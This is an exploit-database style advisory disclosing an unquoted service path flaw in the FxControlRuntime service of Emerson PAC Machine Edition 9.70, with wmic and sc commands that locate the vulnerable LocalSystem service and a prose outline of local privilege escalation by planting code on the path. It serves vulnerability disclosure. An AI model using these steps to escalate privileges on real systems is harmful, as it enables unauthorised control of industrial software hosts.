Emerson pac machine edition 9.70 build 8595 fxcontrolruntime unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-11-18 | Type : local | Platform : windows

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# Exploit Title: Emerson PAC Machine Edition 9.70 Build 8595 - 'FxControlRuntime' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2019-11-17
# Vendor Homepage: https://www.emerson.com/en-us
# Software Link : https://www.opertek.com/descargar-software/?prc=_326
# Tested Version: 9.70 Build 8595
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path:

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "FxControlRuntime" |findstr /i /v """

FxControl Runtime FxControlRuntime C:\Program Files (x86)\Emerson\PAC Machine Edition\fxControl\Runtime\NT\FxControl.exe Auto

# Service info:

C:\>sc qc FxControlRuntime
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: FxControlRuntime
TYPE : 120 WIN32_SHARE_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Emerson\PAC Machine Edition\fxControl\Runtime\NT\FxControl.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : FxControl Runtime
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.